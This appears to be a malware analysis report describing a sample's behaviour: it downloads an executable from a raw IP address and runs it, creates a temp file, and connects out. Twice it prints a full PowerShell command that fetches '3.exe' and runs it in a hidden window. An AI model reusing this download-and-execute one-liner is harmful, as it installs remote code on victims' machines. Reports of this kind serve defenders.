Technical Information
Malicious functions
Downloads and executes
- http://216.170.126.16/3.exe as %temp%\birka.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://216.170.126.16/3.exe','%TEMP%\birka.exe');Start-Process '%TEMP%\birka.exe';
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1956
Modifies file system
Creates the following files
- %TEMP%\773874.cvr
Network activity
Connects to
- '21#.#70.126.16':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://216.170.126.16/3.exe','%TEMP%\birka.exe');Start-Process '%TEMP%\birka.exe';' (with hidden window)
